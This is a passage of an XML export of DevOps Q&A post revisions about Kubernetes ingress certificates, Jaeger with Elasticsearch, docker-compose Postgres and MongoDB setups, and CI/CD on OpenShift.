  <row Id="18639" PostHistoryTypeId="5" PostId="5813" RevisionGUID="1ff1a701-3e34-45b5-89e6-a16c68067bd8" CreationDate="2018-12-24T10:25:16.750" UserId="210" Comment="deleted 16 characters in body" Text="kubectl logs nginx-ingress-controller-X -n nginx-ingress&#xD;&#xA;&#xD;&#xA;    W1222 06:52:04.575115       8 controller.go:1058] Error getting SSL&#xD;&#xA;    certificate &quot;app/app-tls&quot;: local SSL certificate app/app-tls was not&#xD;&#xA;    found. Using default certificate&#xD;&#xA;    W1222 06:52:09.955475       8 backend_ssl.go:48] Error obtaining X.509&#xD;&#xA;    certificate: no object matching key &quot;app/app-tls&quot; in local store&#xD;&#xA;&#xD;&#xA;kubectl describe certificates nexus-tls -n cert-manager&#xD;&#xA;&#xD;&#xA;    Message:               Certificate issued successfully&#xD;&#xA;    Reason:                CertIssued&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;It is unclear to me where to deploy the certmanager. I have deployed in a separate namespace, the cert has been created successfully, but the certificate cannot be found.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18640" PostHistoryTypeId="2" PostId="5818" RevisionGUID="64ab6159-f396-4b66-ae84-bd134eb1a862" CreationDate="2018-12-24T10:25:33.050" UserId="210" Text="https://github.com/jetstack/cert-manager/issues/482#issuecomment-449664935&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; Once I followed this&#xD;&#xA;&gt; https://github.com/jetstack/cert-manager/blob/master/docs/tutorials/quick-start/index.rst#step-6---configure-lets-encrypt-issuer&#xD;&#xA;&gt; and deployed the issuers in the namespace of the app, it works" ContentLicense="CC BY-SA 4.0" />
  <row Id="18641" PostHistoryTypeId="2" PostId="5819" RevisionGUID="5f65c643-5e02-4ade-b37b-f9c45e1b10ee" CreationDate="2018-12-24T11:50:23.470" UserId="9884" Text="First, use alpine images if possible.&#xD;&#xA;&#xD;&#xA;Second, use ENV variables for prepare database configuration. [More info](https://hub.docker.com/_/postgres/#environment-variables).&#xD;&#xA;&#xD;&#xA;Third, use `/docker-entrypoint-initdb.d` directory for extend image. [More info](https://hub.docker.com/_/postgres/#how-to-extend-this-image).&#xD;&#xA;&#xD;&#xA;Example stack with devlopment environment.&#xD;&#xA;&#xD;&#xA;    version: '3.2'&#xD;&#xA;    services:&#xD;&#xA;      example:&#xD;&#xA;        image: &quot;${EXAMPLE_SERVICE}:${EXAMPLE_SERVICE__VERSION}-development&quot;&#xD;&#xA;        build:&#xD;&#xA;          context: .&#xD;&#xA;          dockerfile: Dockerfile.development&#xD;&#xA;        networks:&#xD;&#xA;          - net&#xD;&#xA;        ports:&#xD;&#xA;          - 5000:5000&#xD;&#xA;        depends_on:&#xD;&#xA;          - example__migrator&#xD;&#xA;        stdin_open: true&#xD;&#xA;        tty: true&#xD;&#xA;        environment:&#xD;&#xA;          POSTGRES_PASSWORD: example&#xD;&#xA;          POSTGRES_DB: example&#xD;&#xA;          POSTGRES_USER: example&#xD;&#xA;          POSTGRES_HOST: pg.example_net&#xD;&#xA;          POSTGRES_PORT: 5432&#xD;&#xA;          FLASK_APP: app.py&#xD;&#xA;          FLASK_DEBUG: 1&#xD;&#xA;        volumes:&#xD;&#xA;          - .:/home/example&#xD;&#xA;      example__migrator:&#xD;&#xA;        image: &quot;${EXAMPLE_SERVICE}:${EXAMPLE_SERVICE__VERSION}-development&quot;&#xD;&#xA;        build:&#xD;&#xA;          context: .&#xD;&#xA;        command: sh -c './wait-for pg.example_net:5432 -- python manage.py db upgrade'&#xD;&#xA;        networks:&#xD;&#xA;          - net&#xD;&#xA;        depends_on:&#xD;&#xA;          - pg&#xD;&#xA;        environment:&#xD;&#xA;          POSTGRES_PASSWORD: example&#xD;&#xA;          POSTGRES_DB: example&#xD;&#xA;          POSTGRES_USER: example&#xD;&#xA;          POSTGRES_HOST: pg.example_net&#xD;&#xA;          POSTGRES_PORT: 5432&#xD;&#xA;      pg:&#xD;&#xA;        image: postgres:10.0-alpine&#xD;&#xA;        networks:&#xD;&#xA;          - net&#xD;&#xA;        ports:&#xD;&#xA;          - 5432:5432&#xD;&#xA;        volumes:&#xD;&#xA;          - pg_data:/var/lib/postgresql/data/pg_data&#xD;&#xA;        environment:&#xD;&#xA;          POSTGRES_PASSWORD: example&#xD;&#xA;          POSTGRES_DB: example&#xD;&#xA;          POSTGRES_USER: example&#xD;&#xA;          POSTGRES_HOST: pg.example_net&#xD;&#xA;          POSTGRES_PORT: 5432&#xD;&#xA;          PGDATA: /var/lib/postgresql/data/pg_data&#xD;&#xA;    networks:&#xD;&#xA;      net:&#xD;&#xA;    volumes:&#xD;&#xA;      pg_data:&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18642" PostHistoryTypeId="50" PostId="4161" RevisionGUID="22c3a8f5-0492-4625-88b1-ac13a17f1675" CreationDate="2018-12-24T12:00:20.947" UserId="-1" />
  <row Id="18643" PostHistoryTypeId="2" PostId="5820" RevisionGUID="b809573a-11fb-4949-a2eb-44970f6bb7f5" CreationDate="2018-12-24T13:37:18.483" UserId="11508" Text="Try to use libvirt_cloudinit_disk instead of libvirt_cloudinit. I think it is deprecated." ContentLicense="CC BY-SA 4.0" />
  <row Id="18644" PostHistoryTypeId="2" PostId="5821" RevisionGUID="e91fc3ff-2634-45b7-a689-adab0471e7bf" CreationDate="2018-12-24T14:26:12.523" UserId="6903" Text="I would like to call the Jenkins CLI from a Jenkinsfile. I am thinking that I can use the shell directive and call the cli via the client jar. For example &#xA;&#xA;    sh 'java -jar /path/to/client.jar...' &#xA;&#xA;&#xA;What I am unsure about is how to get the client jar. I could do something like a wget to fetch it, but is there a better way? " ContentLicense="CC BY-SA 4.0" />
  <row Id="18645" PostHistoryTypeId="1" PostId="5821" RevisionGUID="e91fc3ff-2634-45b7-a689-adab0471e7bf" CreationDate="2018-12-24T14:26:12.523" UserId="6903" Text="Jenkins CLI from Jenkinsfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="18646" PostHistoryTypeId="3" PostId="5821" RevisionGUID="e91fc3ff-2634-45b7-a689-adab0471e7bf" CreationDate="2018-12-24T14:26:12.523" UserId="6903" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18647" PostHistoryTypeId="2" PostId="5822" RevisionGUID="ac1ae339-436c-4152-a430-e12931e82ffe" CreationDate="2018-12-24T14:46:47.727" UserId="11362" Text="I have a kubernetes cluster on google cloud platform, and on it, I have a jaeger deployment via development setup of [jaeger-kubernetes templates][1] &#xD;&#xA;with the following services:&#xD;&#xA;&#xD;&#xA;I've creted the services via all in one template&#xD;&#xA;&#xD;&#xA;    λ bgarcial [~] → kubectl create -f https://raw.githubusercontent.com/jaegertracing/jaeger-kubernetes/master/all-in-one/jaeger-all-in-one-template.yml&#xD;&#xA;    deployment.extensions/jaeger-deployment created&#xD;&#xA;    service/jaeger-query created&#xD;&#xA;    service/jaeger-collector created&#xD;&#xA;    service/jaeger-agent created&#xD;&#xA;    service/zipkin created&#xD;&#xA;    &#xD;&#xA;This is my current deployment:&#xD;&#xA;    &#xD;&#xA;    λ bgarcial [~] → kubectl get deployments&#xD;&#xA;    NAME                DESIRED   CURRENT   UP-TO-DATE   AVAILABLE   AGE&#xD;&#xA;    jaeger-deployment   1         1         1            1           6m&#xD;&#xA;    &#xD;&#xA;    λ bgarcial [~] →&#xD;&#xA;&#xD;&#xA;And my services are:&#xD;&#xA;&#xD;&#xA;     λ bgarcial [~] → kubectl get services&#xD;&#xA;    NAME               TYPE           CLUSTER-IP    EXTERNAL-IP   PORT(S)                               AGE&#xD;&#xA;    jaeger-agent       ClusterIP      None          &lt;none&gt;        5775/UDP,6831/UDP,6832/UDP,5778/TCP   12m&#xD;&#xA;    jaeger-collector   ClusterIP      10.3.240.52   &lt;none&gt;        14267/TCP,14268/TCP,9411/TCP          12m&#xD;&#xA;    jaeger-query       LoadBalancer   10.3.251.46   35.232.88.2   80:30283/TCP                          12m&#xD;&#xA;    kubernetes         ClusterIP      10.3.240.1    &lt;none&gt;        443/TCP                               28m&#xD;&#xA;    zipkin             ClusterIP      None          &lt;none&gt;        9411/TCP                              12m&#xD;&#xA;    &#xD;&#xA;    λ bgarcial [~] →&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;According to the [Jaeger architecture][2], the Jaeger Collector and Query services require access to backend storage. My purpose is setup elasticsearch like backend storage, due to this, I follow the [jaeger-kubernetes][3] github documentation to add it, and I proceed to create a template to elastic backend storage from the following `.yaml` files:&#xD;&#xA;&#xD;&#xA;With the `configmap.yml` we are configurating the URLs to access to elasticsearch server and username and password and ports.&#xD;&#xA; &#xD;&#xA;    λ bgarcial [~] → kubectl create -f https://raw.githubusercontent.com/jaegertracing/jaeger-kubernetes/master/production-elasticsearch/configmap.yml&#xD;&#xA;    configmap/jaeger-configuration created&#xD;&#xA;    &#xD;&#xA;    λ bgarcial [~] →&#xD;&#xA;&#xD;&#xA;And with the `elasticsearch.yml` we are downloading of docker images of the elasticsearch service and setup their volume mounts. (I think so ...)&#xD;&#xA;&#xD;&#xA;    λ bgarcial [~] → kubectl create -f https://raw.githubusercontent.com/jaegertracing/jaeger-kubernetes/master/production-elasticsearch/elasticsearch.yml&#xD;&#xA;    statefulset.apps/elasticsearch created&#xD;&#xA;    service/elasticsearch created&#xD;&#xA;    &#xD;&#xA;    λ bgarcial [~] →&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And then, at this moment I have a `elasticsearch` service running over 9200 and 9300 ports:&#xD;&#xA;&#xD;&#xA;    λ bgarcial [~] → kubectl get service elasticsearch                                                                                                    &#xD;&#xA;    NAME            TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)             AGE&#xD;&#xA;    elasticsearch   ClusterIP   None         &lt;none&gt;        9200/TCP,9300/TCP   14m&#xD;&#xA;    &#xD;&#xA;    λ bgarcial [~] →&#xD;&#xA;     &#xD;&#xA;And these are my services running on my kubernetes cluster:&#xD;&#xA;&#xD;&#xA;    λ bgarcial [~] → kubectl get services                                                                                                                 &#xD;&#xA;    NAME               TYPE           CLUSTER-IP    EXTERNAL-IP   PORT(S)                               AGE&#xD;&#xA;    elasticsearch      ClusterIP      None          &lt;none&gt;        9200/TCP,9300/TCP                     1m&#xD;&#xA;    jaeger-agent       ClusterIP      None          &lt;none&gt;        5775/UDP,6831/UDP,6832/UDP,5778/TCP   2d&#xD;&#xA;    jaeger-collector   ClusterIP      10.3.240.52   &lt;none&gt;        14267/TCP,14268/TCP,9411/TCP          2d&#xD;&#xA;    jaeger-query       LoadBalancer   10.3.251.46   35.232.88.2   80:30283/TCP                          2d&#xD;&#xA;    kubernetes         ClusterIP      10.3.240.1    &lt;none&gt;        443/TCP                               2d&#xD;&#xA;    zipkin             ClusterIP      None          &lt;none&gt;        9411/TCP                              2d&#xD;&#xA;    &#xD;&#xA;    λ bgarcial [~] →&#xD;&#xA;&#xD;&#xA;And then, I have one pod to my elasticsearch service and other pod to all my jaeger-services (I guess that it's, beacuse my jaeger deployment was installed from an all-in-one template )&#xD;&#xA;&#xD;&#xA;    λ bgarcial [~] → kubectl get pods    &#xD;&#xA;    NAME                                 READY   STATUS    RESTARTS   AGE&#xD;&#xA;    elasticsearch-0                      1/1     Running   0          31s&#xD;&#xA;    jaeger-deployment-5bd9f6d7ff-vsm8h   1/1     Running   0          2d&#xD;&#xA;    &#xD;&#xA;    λ bgarcial [~] → &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And then, my objective is setup the elasticsearch to jaeger in order to have persistent storage. But I am checking my elastic service and I cannot see the endpoint URL to access it.&#xD;&#xA;This elasticsearch service does not have external-ip address&#xD;&#xA;&#xD;&#xA;    λ bgarcial [~] → kubectl get service elasticsearch                                                                                                    &#xD;&#xA;    NAME            TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)             AGE&#xD;&#xA;    elasticsearch   ClusterIP   None         &lt;none&gt;        9200/TCP,9300/TCP   14m&#xD;&#xA;    &#xD;&#xA;    λ bgarcial [~] →&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;Until here, I've setup the elasticsearch service on my cluster, but I need setup the elasticsearch URL on jaeger configuration. Then, the kubernetes templates github guide point me to execute the `kubectl edit configmap jaeger-configuration` command in order to create a configmap file to that jaeger collector, query and agent can exist on the same namespace.&#xD;&#xA;&#xD;&#xA;&gt; This ConfigMap is included in the storage templates, as each backing storage have their own specific configuration entries&#xD;&#xA;&#xD;&#xA;I execute it:&#xD;&#xA;&#xD;&#xA;    λ bgarcial [~] → kubectl edit configmap jaeger-configuration &#xD;&#xA;&#xD;&#xA;And I get the following edit entry:&#xD;&#xA;    &#xD;&#xA;    # Please edit the object below. Lines beginning with a '#' will be ignored,&#xD;&#xA;    # and an empty file will abort the edit. If an error occurs while saving this file will be&#xD;&#xA;    # reopened with the relevant failures.&#xD;&#xA;    #&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    data:&#xD;&#xA;      agent: |&#xD;&#xA;        collector:&#xD;&#xA;          host-port: &quot;jaeger-collector:14267&quot;&#xD;&#xA;      collector: |&#xD;&#xA;        es:&#xD;&#xA;          server-urls: http://elasticsearch:9200&#xD;&#xA;          username: elastic&#xD;&#xA;          password: changeme&#xD;&#xA;        collector:&#xD;&#xA;          zipkin:&#xD;&#xA;            http-port: 9411&#xD;&#xA;      query: |&#xD;&#xA;        es:&#xD;&#xA;          server-urls: http://elasticsearch:9200&#xD;&#xA;          username: elastic&#xD;&#xA;          password: changeme&#xD;&#xA;      span-storage-type: elasticsearch&#xD;&#xA;    kind: ConfigMap&#xD;&#xA;    metadata:&#xD;&#xA;      creationTimestamp: &quot;2018-12-24T09:07:21Z&quot;&#xD;&#xA;      labels:&#xD;&#xA;        app: jaeger&#xD;&#xA;        jaeger-infra: configuration&#xD;&#xA;      name: jaeger-configuration&#xD;&#xA;      namespace: default&#xD;&#xA;      resourceVersion: &quot;438182&quot;&#xD;&#xA;      selfLink: /api/v1/namespaces/default/configmaps/jaeger-configuration&#xD;&#xA;      uid: 52327992-075b-11e9-bc96-42010a8000b1&#xD;&#xA;&#xD;&#xA;Here do we need setup our own URLs to collector and query services, which will be connect wiht elasticsearch backend service?&#xD;&#xA;How to can I setup the elasticsearch IP address or URLs here?&#xD;&#xA;&#xD;&#xA;In the jaeger components, the query and collector need access to storage, but I don't know what is the elastic endpoint ... &#xD;&#xA;&#xD;&#xA;Is this `server-urls: http://elasticsearch:9200` a correct endpoint?&#xD;&#xA;&#xD;&#xA;In affirmative case, this mean that internally, the workflow resolve that URL domain and the collector and query reachs the elasticsearch service of that way?&#xD;&#xA;&#xD;&#xA;Now, I have one thing to point about of the architecture, and is the following:&#xD;&#xA;&#xD;&#xA;elasticsearch by itself does not include a persistent volume storage really? &#xD;&#xA;&#xD;&#xA;Is need add it?&#xD;&#xA;&#xD;&#xA;This mean, I've setup the elastic search, now should I to create a *persistent volumes storages (pvs)* for it ?&#xD;&#xA;&#xD;&#xA;I am starting in the kubernetes and DevOps world, and I appreciate if someone can help me in the concepts and point me in the right address in order to setup jaeger and elasticsearch as a backend storage.&#xD;&#xA;&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jaegertracing/jaeger-kubernetes#development-setup&#xD;&#xA;  [2]: https://eng.uber.com/distributed-tracing/&#xD;&#xA;  [3]: https://github.com/jaegertracing/jaeger-kubernetes#backing-storage" ContentLicense="CC BY-SA 4.0" />
  <row Id="18648" PostHistoryTypeId="1" PostId="5822" RevisionGUID="ac1ae339-436c-4152-a430-e12931e82ffe" CreationDate="2018-12-24T14:46:47.727" UserId="11362" Text="Connecting jaeger with elasticsearch backend storage on kubernetes cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="18649" PostHistoryTypeId="3" PostId="5822" RevisionGUID="ac1ae339-436c-4152-a430-e12931e82ffe" CreationDate="2018-12-24T14:46:47.727" UserId="11362" Text="&lt;kubernetes&gt;&lt;elastic&gt;&lt;storage&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18650" PostHistoryTypeId="2" PostId="5823" RevisionGUID="38a95685-fc63-4e4c-b86a-ef9b45120ead" CreationDate="2018-12-24T15:10:33.610" UserId="4175" Text="&gt; The things that would be backed up would be the config files of the servers, the database and uploaded content as these will almost always be unique and necessary.&#xD;&#xA;&#xD;&#xA;But would they? Config files can go into `git`. Databases (for the &quot;CI&quot; part) should be 100% creatable from source as well (migrations, fixtures etc.), and may be so on each single test run anyways. I'm not sure what you mean with &quot;uploaded content&quot; in the context of a CI pipeline.&#xD;&#xA;&#xD;&#xA;Your goal would be to reduce *everything* to some kind of middle layer that is acting as a barrier between the hardcore low-level stuff, and the application (including CI/CD). This could be straight Docker - i.e., packaging up *everything* (including your CI/CD driver, Jenkins or whatever) in Dockerfiles, with everything needed included as configuration - everything in `git`.&#xD;&#xA;&#xD;&#xA;Or a little more advanced, a Kubernetes/OpenShift cluster which does the same; or the respective solution of the cloud providers (AWS, Azure etc.).&#xD;&#xA;&#xD;&#xA;Below that border, you are running with classical solutions as you are used to; there should be very little &quot;special&quot; you need to take care of, and it should be easy (as nothing from the application should influence this at all) to make it so you can add nodes without backup/recovery at all. I.e., if some piece of hardware or non-containerized software breaks, you simply throw it away and replace it with a new one.&#xD;&#xA;&#xD;&#xA;TL;DR: make as much as possible run in containers; don't backup containers." ContentLicense="CC BY-SA 4.0" />
  <row Id="18651" PostHistoryTypeId="5" PostId="5823" RevisionGUID="55c014c8-3382-456f-8f85-3f05a448f860" CreationDate="2018-12-24T17:41:50.527" UserId="4175" Comment="added 626 characters in body" Text="&gt; The things that would be backed up would be the config files of the servers, the database and uploaded content as these will almost always be unique and necessary.&#xD;&#xA;&#xD;&#xA;But would they? Config files can go into `git`. Databases (for the &quot;CI&quot; part) should be 100% creatable from source as well (migrations, fixtures etc.), and may be so on each single test run anyways. I'm not sure what you mean with &quot;uploaded content&quot; in the context of a CI pipeline.&#xD;&#xA;&#xD;&#xA;Your goal would be to reduce *everything* to some kind of middle layer that is acting as a barrier between the hardcore low-level stuff, and the application (including CI/CD). This could be straight Docker - i.e., packaging up *everything* (including your CI/CD driver, Jenkins or whatever) in Dockerfiles, with everything needed included as configuration - everything in `git`.&#xD;&#xA;&#xD;&#xA;Or a little more advanced, a Kubernetes/OpenShift cluster which does the same; or the respective solution of the cloud providers (AWS, Azure etc.).&#xD;&#xA;&#xD;&#xA;Below that border, you are running with classical solutions as you are used to; there should be very little &quot;special&quot; you need to take care of, and it should be easy (as nothing from the application should influence this at all) to make it so you can add nodes without backup/recovery at all. I.e., if some piece of hardware or non-containerized software breaks, you simply throw it away and replace it with a new one.&#xD;&#xA;&#xD;&#xA;Dynamic data that needs to persist (e.g., the history of job runs stored by your actual CI driver) will be stored on dedicated volumes (which contain said data, and only it - not interspersed with OS or other files), which, in turn, you can backup with classical tools (offline backups etc.) - the biggest issue, there, is to decide whether to run the backup in &quot;container land&quot;, or on the underlying abstraction layer; but aside from that, it would be just copying files around as usual (with whatever tool you like most), not special just because it's a &quot;CI environment&quot;.&#xD;&#xA;&#xD;&#xA;TL;DR: make as much as possible run in containers, with dedicated volumes; don't backup containers; backup volumes as usual." ContentLicense="CC BY-SA 4.0" />
  <row Id="18652" PostHistoryTypeId="2" PostId="5824" RevisionGUID="46ba15be-30d4-4df0-84a4-31d42f6cf9a0" CreationDate="2018-12-24T19:53:24.010" UserId="10766" Text="Is there any way by which I can set a lifetime for a container after that much of time it should be stopped automatically and only awake when someone send a request. I wanted something like **Preemptable Google Compute engine** instance or **Heroku free Dyno** which sleeps after 1 hr of inactivity and awake again when a request is send to that instance. &#xD;&#xA;&#xD;&#xA;note: I have docker compose project so I want to set the life time for one service which depends on other services also.  " ContentLicense="CC BY-SA 4.0" />
  <row Id="18653" PostHistoryTypeId="1" PostId="5824" RevisionGUID="46ba15be-30d4-4df0-84a4-31d42f6cf9a0" CreationDate="2018-12-24T19:53:24.010" UserId="10766" Text="How to create a preemptable docker container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18654" PostHistoryTypeId="3" PostId="5824" RevisionGUID="46ba15be-30d4-4df0-84a4-31d42f6cf9a0" CreationDate="2018-12-24T19:53:24.010" UserId="10766" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;docker-swarm&gt;&lt;google-compute-engine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18655" PostHistoryTypeId="2" PostId="5825" RevisionGUID="a20eddcb-3638-4f92-bef1-ae08262d58de" CreationDate="2018-12-24T19:57:39.260" UserId="7202" Text="Recently my team started adapting git workflow for agile-based delivery, we've been using JIRA, TeamCity and various other CI tools to complete the pipeline. The workflow works great for monolith or SOA applications in JAVA.&#xD;&#xA;&#xD;&#xA;The problem comes with microservices delivery pipeline targeted for enterprise environments such as Openshift. &#xD;&#xA;&#xD;&#xA;With git-workflow, the expectation is `feature` branches once developed and tested will be merged to the `develop` branch, however, when there are numerous features being developed a developer needs a platform to test the service feature he just built before submitting a pull request.&#xD;&#xA;&#xD;&#xA;With openshift/K8s we expose a service, let's assume each service built out of the feature branch looks like below.&#xD;&#xA;&#xD;&#xA;    myapplication-MIM-158848-feature1.myco.internal.au&#xD;&#xA;    myapplication-MIM-158849-feature2.myco.internal.au&#xD;&#xA;&#xD;&#xA;Internally openshift should be able to allocate dedicated pods to test the services and they should be disposed once merged with `develop` branch, another problem with this approach is running integrated test or if services have dependency with consumer apis. Modifying the service name based on `feature` branch is not a good idea.&#xD;&#xA;&#xD;&#xA;Does anyone know a better way of handling this delivery model in microservices based platform. Thanks&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18656" PostHistoryTypeId="1" PostId="5825" RevisionGUID="a20eddcb-3638-4f92-bef1-ae08262d58de" CreationDate="2018-12-24T19:57:39.260" UserId="7202" Text="Gitworkflow and testing short lived feature branches in Openshift/Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="18657" PostHistoryTypeId="3" PostId="5825" RevisionGUID="a20eddcb-3638-4f92-bef1-ae08262d58de" CreationDate="2018-12-24T19:57:39.260" UserId="7202" Text="&lt;kubernetes&gt;&lt;git&gt;&lt;microservices&gt;&lt;cicd&gt;&lt;openshift&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18658" PostHistoryTypeId="5" PostId="5824" RevisionGUID="5de367bc-4677-42e8-81e8-a94e4e8d5d7c" CreationDate="2018-12-24T20:07:20.980" UserId="10766" Comment="added 253 characters in body" Text="Is there any way by which I can set a lifetime for a container after that much of time it should be stopped automatically and only awake when someone send a request. I wanted something like **Preemptable Google Compute engine** instance or **Heroku free Dyno** which sleeps after 1 hr of inactivity and awake again when a request is send to that instance. &#xD;&#xA;&#xD;&#xA;**Note**: I have docker compose project so I want to set the life time for one service which depends on other services also. I have a traefik container runs separately beside the docker-compose project which handles the request and sends to containers. So is there something like request_post_hook which can start that stopped docker-compose container when receive any request ? " ContentLicense="CC BY-SA 4.0" />
  <row Id="18659" PostHistoryTypeId="2" PostId="5826" RevisionGUID="f4fca5d7-df90-4d21-9c4a-790053ccbd0a" CreationDate="2018-12-24T21:43:53.137" UserId="4175" Text="I'm not altogether sure if there actually is a problem you're trying to solve, or whether you are looking for confirmation that you are on the right track. Some thoughts:&#xD;&#xA;&#xD;&#xA;&gt; Internally openshift should be able to allocate dedicated pods&#xD;&#xA;&#xD;&#xA;Sure. Add a post-build step in your CI pipeline which does the following:&#xD;&#xA;&#xD;&#xA;* Fashion a .yaml or .json description of that pod (or rather, DeploymentConfig). How/where you do that depends on your architecture - if each of your microservices has exactly the same port (i.e., all listening on 80 or 443), then you only need a central template for that, and basically only inject the name (containing the microservice name and the feature branch name) and the git source URL for it. The file can of course contain multiple OpenShift objects (i.e., the DeploymentConfig and a Route, maybe).&#xD;&#xA;* `oc apply` it, OpenShift will build an image and start a pod for it.&#xD;&#xA;&#xD;&#xA;&gt; and they should be disposed once merged with develop branch&#xD;&#xA;&#xD;&#xA;Add a post-merge step which does the same in reverse, i.e. `oc delete ...` for every component of the original `.yaml`. Probably this is easiest if you give a branch-based label to each of the components, so you don't need to keep track of which you have applied in the first place.&#xD;&#xA;&#xD;&#xA;&gt; another problem with this approach is running integrated test or if services have dependency with consumer apis. &#xD;&#xA;&#xD;&#xA;If a service involved in an integrated test has state, then you indeed need to fire up a new pod/volume for each test run. If your integration test depends on external state, then you also need to manage that somehow. Both of these aspects are true anyways, no matter how you architect your solution.&#xD;&#xA;&#xD;&#xA;In these cases, you would probably do well to not start deployments right out of your individual CI pipelines, but do a &quot;big&quot; deployment when you start your integration test (i.e., deploy all individual microservices like described above, but also inject an ID for your current integration test run into all their names, so everything stays unique).&#xD;&#xA;&#xD;&#xA;&gt; Modifying the service name based on feature branch is not a good idea.&#xD;&#xA;&#xD;&#xA;Why not? If you wish to have a pod running for every feature branch, then you need to do it that way, period.&#xD;&#xA;&#xD;&#xA;It would certainly force you to do some kind of dependency injection (i.e., if you are testing one service A which needs another service B, then you have to tell A which B-feature it should take. But you need to do that anyway, in some form or fashion; as far as I can understand, you are trying to make the services (their branches) independent from each other, and I also assume from your question that you have one service per git repository (i.e., one service per branch) so you *need* to have them running per-branch.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18660" PostHistoryTypeId="2" PostId="5827" RevisionGUID="44f93384-9581-4469-a9b8-6bf77f144b71" CreationDate="2018-12-24T21:57:52.637" UserId="11493" Text="I am trying to create a custom container which also contains MongoDB (hence not using the official MongoDB container). I am trying to add authentication to the database, and I _think_ I am having an issue in persisting authentication data, i.e. in `dockerfile` I run the following command at some point:&#xD;&#xA;&#xD;&#xA;    RUN (nohup mongod &amp;) &amp;&amp; mongo &lt; /data/mongo.js &#xD;&#xA;&#xD;&#xA;and `mongo.js` is:&#xD;&#xA;&#xD;&#xA;    use admin&#xD;&#xA;    db.createUser(&#xD;&#xA;      {&#xD;&#xA;        user: &quot;admin&quot;,&#xD;&#xA;        pwd: &quot;abcd&quot;,&#xD;&#xA;        roles: [ &quot;root&quot; ]&#xD;&#xA;      }&#xD;&#xA;    )&#xD;&#xA;&#xD;&#xA;which yields below during build:&#xD;&#xA;&#xD;&#xA;    Successfully added user: { &quot;user&quot; : &quot;admin&quot;, &quot;roles&quot; : [ &quot;root&quot; ] }&#xD;&#xA;    Removing intermediate container...&#xD;&#xA;&#xD;&#xA;So after build, when I login to the container and start mongo with --auth flag, still can't login:&#xD;&#xA;&#xD;&#xA;    # mongo -u admin -p abcd --authenticationDatabase &quot;admin&quot;&#xD;&#xA;    MongoDB shell version: 3.2.11&#xD;&#xA;    Enter password: &#xD;&#xA;    connecting to: abcd&#xD;&#xA;    exception: login failed&#xD;&#xA;&#xD;&#xA;What is missing?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18661" PostHistoryTypeId="1" PostId="5827" RevisionGUID="44f93384-9581-4469-a9b8-6bf77f144b71" CreationDate="2018-12-24T21:57:52.637" UserId="11493" Text="Docker Persisting Data During Build" ContentLicense="CC BY-SA 4.0" />
  <row Id="18662" PostHistoryTypeId="3" PostId="5827" RevisionGUID="44f93384-9581-4469-a9b8-6bf77f144b71" CreationDate="2018-12-24T21:57:52.637" UserId="11493" Text="&lt;docker&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18663" PostHistoryTypeId="6" PostId="5813" RevisionGUID="6492c314-2211-424c-a4a3-97a083997c51" CreationDate="2018-12-24T23:18:51.220" UserId="210" Comment="edited tags" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18664" PostHistoryTypeId="6" PostId="4640" RevisionGUID="19aa5ecf-b915-4a73-bb5d-69e28c5abfae" CreationDate="2018-12-25T00:50:38.077" UserId="210" Comment="edited tags; edited tags" Text="&lt;kubernetes&gt;&lt;ssl&gt;&lt;ingress&gt;&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18665" PostHistoryTypeId="50" PostId="5458" RevisionGUID="13cd8ef4-d1ff-4e56-8000-173612864986" CreationDate="2018-12-25T09:00:40.113" UserId="-1" />
  <row Id="18666" PostHistoryTypeId="5" PostId="5822" RevisionGUID="36ad6764-7e37-4c04-81d1-b0484df0dd91" CreationDate="2018-12-25T11:34:03.000" UserId="11362" Comment="deleted 1567 characters in body" Text="I have a kubernetes cluster on google cloud platform, and on it, I have a jaeger deployment via development setup of [jaeger-kubernetes templates][1] &#xD;&#xA;with the following services:&#xD;&#xA;&#xD;&#xA;I've created the services via all in one template&#xD;&#xA;&#xD;&#xA;    λ bgarcial [~] → kubectl create -f https://raw.githubusercontent.com/jaegertracing/jaeger-kubernetes/master/all-in-one/jaeger-all-in-one-template.yml&#xD;&#xA;    deployment.extensions/jaeger-deployment created&#xD;&#xA;    service/jaeger-query created&#xD;&#xA;    service/jaeger-collector created&#xD;&#xA;    service/jaeger-agent created&#xD;&#xA;    service/zipkin created&#xD;&#xA;&#xD;&#xA;And my services are:&#xD;&#xA;&#xD;&#xA;     λ bgarcial [~] → kubectl get services&#xD;&#xA;    NAME               TYPE           CLUSTER-IP    EXTERNAL-IP   PORT(S)                               AGE&#xD;&#xA;    jaeger-agent       ClusterIP      None          &lt;none&gt;        5775/UDP,6831/UDP,6832/UDP,5778/TCP   12m&#xD;&#xA;    jaeger-collector   ClusterIP      10.3.240.52   &lt;none&gt;        14267/TCP,14268/TCP,9411/TCP          12m&#xD;&#xA;    jaeger-query       LoadBalancer   10.3.251.46   35.232.88.2   80:30283/TCP                          12m&#xD;&#xA;    kubernetes         ClusterIP      10.3.240.1    &lt;none&gt;        443/TCP                               